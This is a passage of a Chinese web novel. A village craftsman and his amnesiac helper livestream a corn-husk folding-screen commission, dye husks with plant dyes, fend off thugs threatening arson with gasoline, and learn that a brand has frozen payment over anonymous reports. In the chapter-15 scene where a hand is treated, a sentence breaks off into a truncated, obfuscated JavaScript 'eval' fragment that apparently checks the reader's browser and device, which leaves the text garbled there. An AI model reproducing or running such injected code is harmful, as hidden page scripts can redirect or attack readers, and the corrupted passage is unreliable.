【复合肥小哥呢!他参加这个项目吗!】 镜头右侧,蒋承骁坐在那里处理材料。口罩戴的严实,只露出两只眼睛和一截眉骨。他面前三堆分好的玉米皮码的整整齐齐,游标卡尺放在手边,砂纸、刮刀一字排开。 有人在弹幕里问:助理小哥对这个项目有什么看法? 蒋承骁抬起头,对着镜头,声音低沉。 “材料的品控由我全权负责。”他指了指面前那三堆分好的玉米皮,“每一片的厚度误差控制在零点一毫米以内,颜色偏差超过两个色号的直接淘汰。任何一片不合格的玉米皮,都不会出现在成品里。” 他顿了一下。 “这是我的专业承诺。” 弹幕炸了。 【品控总监上线了!】 【复合肥小哥好像升职了!从苦力变总监了!】 【零点一毫米……这精度是不是有点过分了。】 【不过分!细节决定品质!总监说得对!】 【我已经开始期待成品了,三个月后见!】 许知行看了一眼后台。关注数:一万两千。 他关掉直播,揉了揉手腕。 蒋承骁摘下口罩,喝了口水。 “五千人同时在线。”蒋承骁的嘴角微微上扬,声音带着一丝炫耀,“是不是因为我那段发言?” “是因为项目本身。” “放屁。你说话跟念说明书一样,谁爱看?全靠我撑场面。” 许知行没跟他争,站起来走向厨房。 “吃饭了。” 蒋承骁看着他走远的背影,拿起那把游标卡尺,在手指间转了一圈。 五万块。 他虽然不记得自己以前是什么人,但有一种直觉告诉他,五万块不算大数目。可对现在的许知行来说,这笔钱意味着房子能修好,冬天能过得暖和,不用再为一顿饭绞尽脑汁。 蒋承骁低头看了看自己脚上那双快磨穿底的草鞋,又想起今天在镇上那双十五块的布鞋。 许知行看了,没买。 蒋承骁知道为什么。两万块的定金,许知行一分都不敢乱花。那些钱全都得用在项目上,买材料,买工具,一分一毫算的清清楚楚。 连十五块钱的鞋都舍不得。 蒋承骁把卡尺往桌上一放,走进厨房。 “今晚吃什么?” “笋片炒肉。” “行。”蒋承骁蹲到灶前添柴,“火大一点还是小一点?” “先大后小。” “知道了。” 灶膛里的火光映在蒋承骁的脸上,明明灭灭。 他盯着那些跳动的火苗,忽然开口。 “许知行。” “嗯。” “这个项目做完,你打算用那笔钱干什么?” 许知行翻着锅里的肉片:“修屋顶,补院墙,换门窗。再买一床被子。” 蒋承骁的手顿了一下。 再买一床被子。 他想起自己连续两个晚上把被子卷走,许知行裹着那条破床单缩在藤椅上冻了一夜的事。 他没说话,往灶膛里添了两根柴。 火更旺了。 …… 城里。 刘姐坐在许文杰的书房里,翘着二郎腿,嗑着瓜子,添油加醋地讲着被蒋承骁赶走的经过。 “那个男的凶得很!一米九的大个子,眼神跟要杀人似的!拿着个什么铁棍子对着我,说什么侵犯隐私权、住宅安宁权,还逼我删照片!”她拍了拍胸口,“文杰少爷,那种人不像正经人,说不定是逃犯。” 许文杰坐在真皮沙发上,没接话。 他手里拿着手机,正在翻许知行的直播回放。 画面里,许知行坐在一张修补过的八仙桌前,手里的玉米皮飞快翻转。旁边的角落里,一个戴着口罩的高大男人正拿着游标卡尺处理材料,动作利索又专业。 弹幕铺天盖地的刷过去。 粉丝数:一万两千。 直播间在线峰值:五千人。 许文杰往下翻了翻,看到了那条品牌合作的消息,还有今天直播里许知行宣布接到“千里江山图”大单时粉丝们的狂欢。 他又想起之前花了两千块让村里的混混去许知行家泼油漆。结果呢?那些漆被许知行刮下来做了竹编的染料。 两千块,给他做了嫁衣。 许文杰把手机放下,脸上的笑容消失了。 他拿起桌上的座机,拨了一个号码。 响了三声,接通了。 “赵哥,上次那事没办利索。”许文杰靠进沙发里,声音不大,但很冷,“这次加钱。我要让他在那个破村子里待不下去。” 14.隐藏的配色大师 许知行花了三天时间在院子西边靠墙的位置垒了三个灶台。 砖头是从塌掉的院墙上拆的,缺的部分用黄泥补。灶台上面架着三口旧铁锅。一口是王大婶家淘汰的,底部有个小洞,许知行用铁皮焊了一块补丁。一口是老周家多余的,换了两双草鞋。还有一口是村长拿修水泵的工钱抵的。 三口锅,三种颜色。 “上山。”许知行把镰刀别在腰后,拿起背篓。 蒋承骁从屋里走出来,全副武装。胳膊和小腿上套着改良版塑料瓶护甲,这次用的是矿泉水瓶,比上次的雪碧瓶轻了不少。头上戴着旧报纸折的帽子,脸上蒙着黑色口罩,手上还套着许知行用旧衣服布料缝的手套。 “你这是去排雷?”许知行看了他一眼。 “防护是基本素养。”蒋承骁拿起一根竹竿当探路杖,“上次被灌木丛扎了六个洞,这次不能再犯同样的错误。” 后山的板蓝根长在半山腰的阴面,成片的,叶子又宽又厚。艾草更好找,路边到处都是。 蒋承骁每走一步都先用竹竿戳两下地面,确认没有蛇和陷阱才落脚。走了十分钟的路,他走了二十分钟。 “快点。”许知行已经蹲在板蓝根丛里开始割了。 “急什么,安全第一。”蒋承骁小心翼翼地蹚过一片杂草,“你知道这种野地里有多少种毒虫吗?蜈蚣、蝎子、毒蛇——” “你脚边有条虫。” “哪儿?!”蒋承骁猛地跳起来。 “骗你的。快干活。” 蒋承骁咬牙切齿地蹲下来,开始割艾草。 两个小时后,两人背着两大筐板蓝根叶子和艾草回到了家。 许知行洗干净手,开始熬染料。 板蓝根叶子扔进第一口锅,加水,大火煮沸。水的颜色慢慢变深,从浅绿变成深蓝。许知行用一块纱布过滤掉叶渣,往蓝色的汁液里加了一小把明矾。 “这是固色。”许知行搅了搅,“不加明矾,染上去的颜色三天就掉了。” 第二口锅里是艾草,同样的步骤,出来的是深绿色。 第三口锅里是栀子果。碾碎,泡水,出来的是暖黄色。许知行又在角落里挖了一锹黄土,加水搅拌,静置半小时,取上面的浊液,是赭石色。 整个院子里弥漫着浓烈的草药味。 将军缩在鸡笼最里面,把脑袋埋在翅膀底下,死活不肯出来。大黑趴在狗窝里,两只前爪捂着鼻子,发出委屈的哼哼声。 蒋承骁站在三口大锅旁边,看着许知行把泡软的白色玉米皮一片片放进第一口锅里。 玉米皮在靛蓝色的液体里翻滚,颜色一点点浸透进纤维。 蒋承骁盯着看了一会儿,眉头拧了起来。 “这颜色不对。” 许知行的手停了一下。 “《千里江山图》里的青绿色不是这个蓝。”蒋承骁走到锅边,拿起一片刚染好的玉米皮,放在阳光下看了看,“偏了。太蓝了。要在蓝里面加一点绿,大概百分之十五到二十的比例。” 许知行看了他一眼。 “你确定?” “确定。”蒋承骁的语气很笃定,“千里江山图的远山用的是石青和石绿的叠色,不是纯蓝。你这个颜色做出来像蓝布,不像山。” 许知行没说话。他从旁边的绿色锅里舀了一勺艾草汁,按蒋承骁说的比例倒进蓝色锅里,用木棍搅匀。 颜色立刻变了。 从刺眼的靛蓝变成了一种沉静的、带着绿意的青色。像雨后远山的颜色,安静又深邃。 许知行捞起一片新染的玉米皮,对着光看了看。 正是《千里江山图》里远山的那个色调。 “你懂画?”许知行问。 蒋承骁愣了一下。他的右手不自觉地摸上了自己的太阳穴。 “我……” 他的脑子里闪过一个画面。一间很大的房间,光线从落地窗照进来,墙上挂着一幅长长的画卷。有个人站在画前,指着远处的青绿山峦,声音很低沉,在跟他讲什么。 那个人的脸模糊不清。 画面一闪就没了。 “不知道。”蒋承骁放下手,“可能是常识。” “色彩配比精确到百分比不是常识。”许知行盯着他。 蒋承骁没接话。他转身走回桌前,拿起游标卡尺,继续磨他的玉米皮。 许知行看着他的背影,没再追问。 接下来的一个小时,许知行按照蒋承骁给的色彩建议,调配了四种颜色的染料。 远山的青绿,近山的赭石,天空的暖黄,还有水面的浅蓝。 每一种颜色,蒋承骁都会走过来看一眼,然后给出极其精确的调整意见。 “赭石色太深了,加百分之十的黄。” “浅蓝再稀释一点,水面的颜色要透。” 许知行照做了。每一次调整后的颜色都比之前准确。 “你脑子里到底装了什么?”许知行问。 “才华。”蒋承骁头也不抬。 下午两点。许知行架好手机,开直播。 标题:千里江山图屏风——染色篇。 镜头对准了院子里的三口大锅和竹匾上铺开的材料。许知行坐在锅前,手里拿着竹夹子,把泡软的白色玉米皮一片片夹进不同颜色的染液里。 “今天染色。”许知行对着镜头说,“四种颜色,全是天然材料。板蓝根做蓝,艾草做绿,栀子做黄,黄土做赭石。” 直播间的人涌了进来。五分钟破一千,十分钟破三千。 画面里,白色的玉米皮被夹进青绿色的染液中,在锅里翻了两圈,捞出来的时候已经变成了一片沉静的青绿色。 阳光照在湿漉漉的玉米皮上,颜色鲜亮又温润。 弹幕刷得飞快。 “好治愈啊,看了半天都舍不得走。” “这颜色太正了吧!真的是玉米皮染出来的?” “感觉在看古法染布的纪录片。” 蒋承骁出场了。 他拿着竹夹子,把染好色的玉米皮一片片从锅里捞出来,整齐地铺在竹匾上晾晒。 每一片之间的间距,他用目测控制在两厘米。竹夹子在他手里翻得飞快,动作干净利落,一片都不重叠。 弹幕风向又变了。 “品控总监又上线了!” “看他摆玉米皮看了十分钟,间距真的一模一样,强迫症患者狂喜。” “这手速和精度,他以前到底是干什么的?” 蒋承骁听到许知行念弹幕里的提问,头也不抬地回了一句:“精密加工工程师。问够了吗?干活。” 直播间笑翻了。 许知行继续展示不同颜色的染色过程。赭石色的玉米皮像秋天的山坡,暖黄色的像日落时分的光线,浅蓝色的像水面上浮着一层薄雾。 “主播,这些颜色你自己调的?也太准了吧。” 许知行看了一眼蒋承骁,回答:“配色方案是我们品控总监给的。” 蒋承骁的动作停了一秒。 “什么品控总监。”他嘟囔了一句,但嘴角在口罩底下翘了一下。 直播持续了两个小时。关掉直播的时候,在线人数峰值突破了六千。 粉丝数涨到了两万。 评论区有人在催屏风进度,也有人问之前的灯罩和收纳篮还有没有货。许知行翻了翻库存,把手头做好的几个小件挂了链接。 当天晚上,灯罩卖出去五个,收纳篮卖出去八个。一千五百六十块。 许知行算了算,加上定金和之前的存款,账上有两万三千多了。 但他一分都没敢乱花。屏风的材料成本还要继续投入,工期三个月,中间不能断粮。 他去村口张婶新开的小卖部买了猪肉和粉条。张婶每周从镇上进一次货,价格比镇上贵一点,但省了拖拉机的油钱。 回到家,许知行做了一锅猪肉炖粉条。 灶膛里的火烧得旺,铁锅里咕嘟咕嘟冒着泡。猪肉炖得烂烂的,粉条吸饱了汤汁,又滑又入味。 蒋承骁端着碗,吃了两大碗,最后把盘子里的汤汁都用米饭刮干净了。 “粉条太软了。”他放下碗,“没弹性。” 许知行看了一眼他那只干净得发光的空盘子。 “嗯。” 吃完饭,蒋承骁去洗碗,许知行坐在灯下开始画屏风的设计草图。 纸是从杂物间翻出来的旧课本上撕下来的,背面是初中数学题。许知行翻过来,用铅笔在空白面上画。 线条很细,落笔很慢。 他一笔一笔地勾勒《千里江山图》的山峦走势。近处的山坡,远处的峰峦,中间的水面,零星的亭台。 原画十二米长,他要把最精华的部分压缩到四扇屏风上,每扇只有六十厘米宽。取舍和构图都得重新设计。 他画了很久。灯泡昏黄的光照在纸上,铅笔的沙沙声很轻,影子投在墙上,一动不动。 蒋承骁洗完碗回来,看见许知行还在画。 他走过去,站在桌边低头看。 草图上的山水已经有了雏形。虽然 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再算上颜色。草图上的色彩有几十种深浅变化,每一根玉米皮丝都要挑选对应的颜色和色调,一根都不能放错。 而且这只是编织的工作量。前期的染色、裁切、分类,加上后期的装裱和框架制作,工作量要翻三倍。 三个月。 蒋承骁沉默了。 “你的手够用吗?”他问。 许知行抬头看了他一眼。 嘴角微微弯了一下,很浅,几乎看不出来。 “不够。所以你得加班。” 蒋承骁嘴角一抽:“又来。” “今天白天调色的表现不错。”许知行低头继续画,“从明天开始,染色配方由你负责。” “那是升职。得加薪。” “债务减免比例从百分之七十五提到百分之八十。” 蒋承骁想了想:“还要加餐。” “已经每天一个肉菜了。” “不够。要两个。” “一个半。中午加一个荤汤。” “成交。” 蒋承骁走进里屋,躺在炕上。 今晚的被子情况有所改善。许知行搞了一套改良方案——把被子对折成两半,中间塞了一根粗木棍,物理隔离。蒋承骁睡左边,许知行睡右边,木棍卡在中间,谁也抢不过去。 蒋承骁翻了个身,试了试。木棍硌了一下腰。 “这棍子太硬了。” “比你昨晚把整床被子卷走强。” “我没卷。” “你卷了三圈,还压了我的腿。” “不可能。” “你还说了梦话。” 蒋承骁闭嘴了。 过了一会儿,他闷闷地问:“说什么了?” “你说''再加一碗粉条''。” “胡说。” “你确实说了。” 蒋承骁把脸埋进枕头里,不说话了。 许知行没上炕,还坐在桌前画草图。铅笔在纸上一笔一笔地走,线条越来越密。 四扇屏风的轮廓已经出来了。第一扇是近景的山坡和松树,第二扇是中景的水面和渔船,第三扇是远景的层峦叠嶂,第四扇是天际线和飞鸟。 每一扇之间的画面要相互衔接,展开是一幅完整的山水,合起来又各自独立。 许知行画得越来越慢。他在一处山石的转折处反复修改,擦了又画,画了又擦。 纸面已经被橡皮擦出了毛边。 蒋承骁的鼾声从里屋传出来,很轻,有节奏。 院子里的虫鸣声和风声混在一起,灯泡发出细微的嗡嗡声。 许知行停下笔,看了看窗外。 月光很亮,照在院子里的三口染锅上,锅里还剩着半锅染液,泛着暗沉的光泽。 他正要继续画,院子外面突然传来一阵动静。 大黑从狗窝里猛地冲出来,朝着院墙外面狂吠。叫声又急又尖,跟平时不一样。 将军也在鸡笼里不安地咯咯叫,翅膀扑棱着撞笼壁。 许知行放下铅笔,站起来。 他走到窗边,往外看。 院墙的缺口处,有几个黑影在晃动。动作很快,一闪而过。 然后一股刺鼻的气味飘了进来。 很冲,很呛。 是汽油。 15.游标卡尺战神 许知行闻到汽油味的瞬间,脑子就清醒了。 他没有慌,快步走到炕边,一把推醒蒋承骁。 “起来,有人。” 蒋承骁眼睛一睁,整个人从炕上弹了起来。 他光着脚跳下地,两脚一蹬穿上草鞋,顺手抄起桌上的游标卡尺。 两人走到院门口。 借着月光,许知行看到院墙外面站着三个人。为首的是一个膀大腰圆的光头,嘴里叼着烟,手里拎着一个塑料桶。身后跟着两个瘦高的小混混,一个拿着棍子,一个拿着铁链。 大黑在狗窝前弓着身子,喉咙里发出低沉的呜呜声,毛全炸了起来。 “哟,还没睡呢?”光头嘿嘿笑了一声,“许知行是吧?我是赵哥。你可能不认识我,但我认识你。” 许知行看了看他手里的桶,又看了看地上洒出来的一小摊液体。 上次在门口泼红漆写“滚”字的,应该也是这一伙人。 “你们要干什么?”许知行的声音很平静。 “干什么?”赵哥晃了晃手里的塑料桶,桶里的液体发出闷响,“我听说你在这搞什么直播、卖什么手工品,生意挺红火啊?有人觉得你活得太舒坦了,让我来提醒你一下,这地方不适合你,识相的赶紧滚蛋。” “谁让你来的?” “这你就别管了。”赵哥把烟头扔在地上,踩灭,“我们也不是不讲道理的人。给你两个选择。第一,自己走,把这破屋子留下。第二,我们帮你搬家。” 他拍了拍手里的桶。 “这里面是汽油,你自己选。” 蒋承骁站在许知行身后一直没说话,他把游标卡尺攥在手里。 许知行正要开口,蒋承骁已经迈步走了出去。 他从许知行身边走过的时候说了一句:“往后退。” 许知行没动。 蒋承骁一步一步走向院门口,步子不快,但每一步踩在地上都带着分量,草鞋踩在泥地上发出声响。 光头赵哥第一次看清了蒋承骁的脸。月光下蒋承骁的五官冷硬,眼睛里没有温度。 他比赵哥高了一个头,肩膀很宽,挡在院门口。老头衫底下的胸膛和手臂上肌肉线条清清楚楚。 赵哥的笑容僵了一下。 “三秒。”蒋承骁的声音很低。 “啥?”赵哥愣了。 “我给你三秒钟,”蒋承骁抬起手里的游标卡尺,用指尖弹了一下尺身,发出叮的一声。 “三秒之内把桶放下,带着你的人滚,否则我用这把卡尺,量一量你的骨头有多硬。” 赵哥眯了眯眼,他在这片混了好几年,什么人没见过,一个穿老头衫的大个子拿着一把破铁尺当武器,吓唬谁呢? “草他妈的,给他点颜色看看!”赵哥冲身后的人一扬下巴。 拿棍子的小混混率先冲了上来,棍子朝着蒋承骁的肩膀抡了过去。 蒋承骁没有闪。 他侧身一步,左手抓住棍子的前端,手掌啪的一声拍实,小混混往前送劲的惯性还在,蒋承骁顺着那股劲往旁边一带,人就跟着歪了过来。 蒋承骁右手从上往下,用游标卡尺的尾端敲在小混混的手腕骨上。 “啊!”小混混惨叫一声,五根手指控制不住的松开,棍子脱手掉在地上。 蒋承骁没停手,他拧着小混混的胳膊往下一压,膝盖顶上去,整个人被按在了泥地里,脸朝下动弹不得。 整个过程不到两秒。 第二个拿铁链的还没反应过来,他愣了一下,本能的抡起铁链朝蒋承骁甩过去。 蒋承骁一脚把地上的棍子挑起来反手一棍。 不是往人身上打,而是打在铁链中段的链节上。 “哐当!” 铁链被抽飞出去,在地上滑了两米远。 小混混的虎口被震的发麻,看着自己空空的两只手,腿一软一屁股坐在地上。 赵哥愣住了。 他手下这两个人虽然算不上什么高手,但也打过不少架,就这么两秒钟的工夫,一个趴地上了,一个坐地上了。 面前这个穿老头衫的男人甚至没喘一口气。 蒋承骁扔掉棍子,棍子啪嗒落在地上。他一步步走向赵哥。 赵哥本能的往后退,他抱紧了那桶汽油,声音开始发抖:“你别过来,我浇了你信不信!” “浇吧。” 蒋承骁冷笑了一声,脚步没停。 “你浇完了,看看是你跑的快,还是我追的快。” 赵哥的手在抖,汽油桶在他怀里晃来晃去,液体从盖口漏出来洒在他自己的裤子上,他闻到味道,脸一下就白了。 他盯着蒋承骁的眼睛。那双眼睛里没有怒火,没有紧张,只有平静。 就好像收拾他们三个跟踩死蚂蚁没什么区别,不值得多费情绪。 赵哥的腿软了。 “走!”赵哥扔下汽油桶,一把拽起地上趴着的小弟,另一只手拉过还坐着的那个,连滚带爬的跑了。 汽油桶倒在地上,咣当一声闷响,剩下的汽油洒了一片。 三个人消失在村路尽头。 蒋承骁站在原地,看着他们跑远了才慢慢松开右手。 游标卡尺上沾了血,不是别人的,是他自己的,刚才挡棍子的时候手背磕在了卡尺的滑轨上,蹭破了皮。 他不动声色地把手藏到身后。 许知行走到他旁边。 “你的手——” “没事,皮外伤。”蒋承骁把手背得更远,“这种货色不值得动真格的。” 大黑冲出去朝着逃跑的方向象征性地吠了两声,扭头小跑回来,绕着蒋承骁的腿转圈,尾巴摇得快飞了。 蒋承骁低头看了看大黑。 “现在才来,有什么用。” 将军在鸡笼里“咯”了一声。不知道是在叫好还是在嘲笑。 许知行蹲下来,看着地上洒的汽油。 “浪费了。”他说。 蒋承骁看着他:“你在心疼汽油?” “汽油可以当清洁剂。”许知行叹了口气,“擦工具上的油污最好用了。” 蒋承骁无语地看着天。 “许知行,刚才差点有人拿汽油点你家,你竟然在心疼清洁剂?” “院子里有三口染锅。”许知行站起来,脸色沉了一下,“里面泡着染了三天的玉米皮。要是被点了,材料全毁了。” 蒋承骁没说话了。 他知道许知行不是真的不怕。只是怕的东西不一样。 两人把洒了汽油的泥土铲掉,用清水冲了院门口的地面。那桶剩下的汽油,许知行果然找了几个空瓶子灌好,放在杂物间里。 “真留着擦工具?”蒋承骁靠在门框上看他。 “嗯。这种纯汽油去污力很强,比酒精好用。” “你怎么什么都能回收。” “人家送上门的,不要白不要。” 处理完已经是后半夜了。 蒋承骁的手背肿起来了。虽然他一直把手插在裤兜里,但走路的时候不自觉地甩了两下手。 许知行看见了。 他进屋翻了翻那个布袋,拿了消炎药出来。又顺手抓了一卷绝缘胶带。 蒋承骁看到那卷黑色胶带,条件反射地后退了一步。 “我不用那个东西!” “开玩笑的。”许知行难得笑了一下,把胶带扔回桌上,拿出了那管祛疤膏,“用这个。手伸出来。” 蒋承骁不情愿地把手伸了出去。 “这玩意儿管用吗?不是祛疤的吗?” “消炎成分也有。”许知行捏着他的手腕,把药膏仔细地涂在手背的红肿处。 月光从窗户照进来。将军和大黑都安静了,院子里只有虫鸣。 蒋承骁低着头,看着许知行的手指在他手背上轻轻地抹着。那些抹过的地方凉凉的,很舒服。 许知行的手指很细,骨节分明,指尖有薄茧,是长期做手工磨出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“榫卯很紧。”蒋承骁用卡尺量了一下接口处的缝隙,“零点三毫米,可以。” “行,这个不用你品控。” “我这是职业习惯。” 两人正说着话,许知行揣在口袋里的手机响了,他掏出手机看了一眼来电显示。 不是存过的号码。归属地显示是省城。 他接了。 “喂,许老师您好。”电话那头是个年轻女人的声音,很客气,语速不快,“我是''山月清''品牌部的陈小姐,之前跟您对接屏风项目的。” “你好。” “许老师,非常抱歉打扰您。我们需要跟您沟通一个情况。” 许知行听出了那声“抱歉”里面的分量。 他没说话,等着对方继续。 “是这样的,我们昨天收到了一些举报信息,说您的手工作品涉嫌抄袭和使用不合规材料。举报方提供了一些截图和对比资料。” 陈小姐停了一下。 “虽然我们暂时还没有确认这些举报内容的真实性,但公司法务要求我们在核实期间,暂停预付款的后续拨付。之前打给您的两万元定金不受影响,但后续的款项需要等调查结果出来之后再……” “谁举报的?”许知行打断了她。 电话那头沉默了两秒。 “许老师,按照流程,举报人的信息我们暂时不方便透露。但我个人建议您,如果方便的话,可以准备一些原创证明和材料来源的凭证,这样可以加快核实的进度。” “核实需要多久?” “大概……两到三周。” 许知行的手握紧了手机。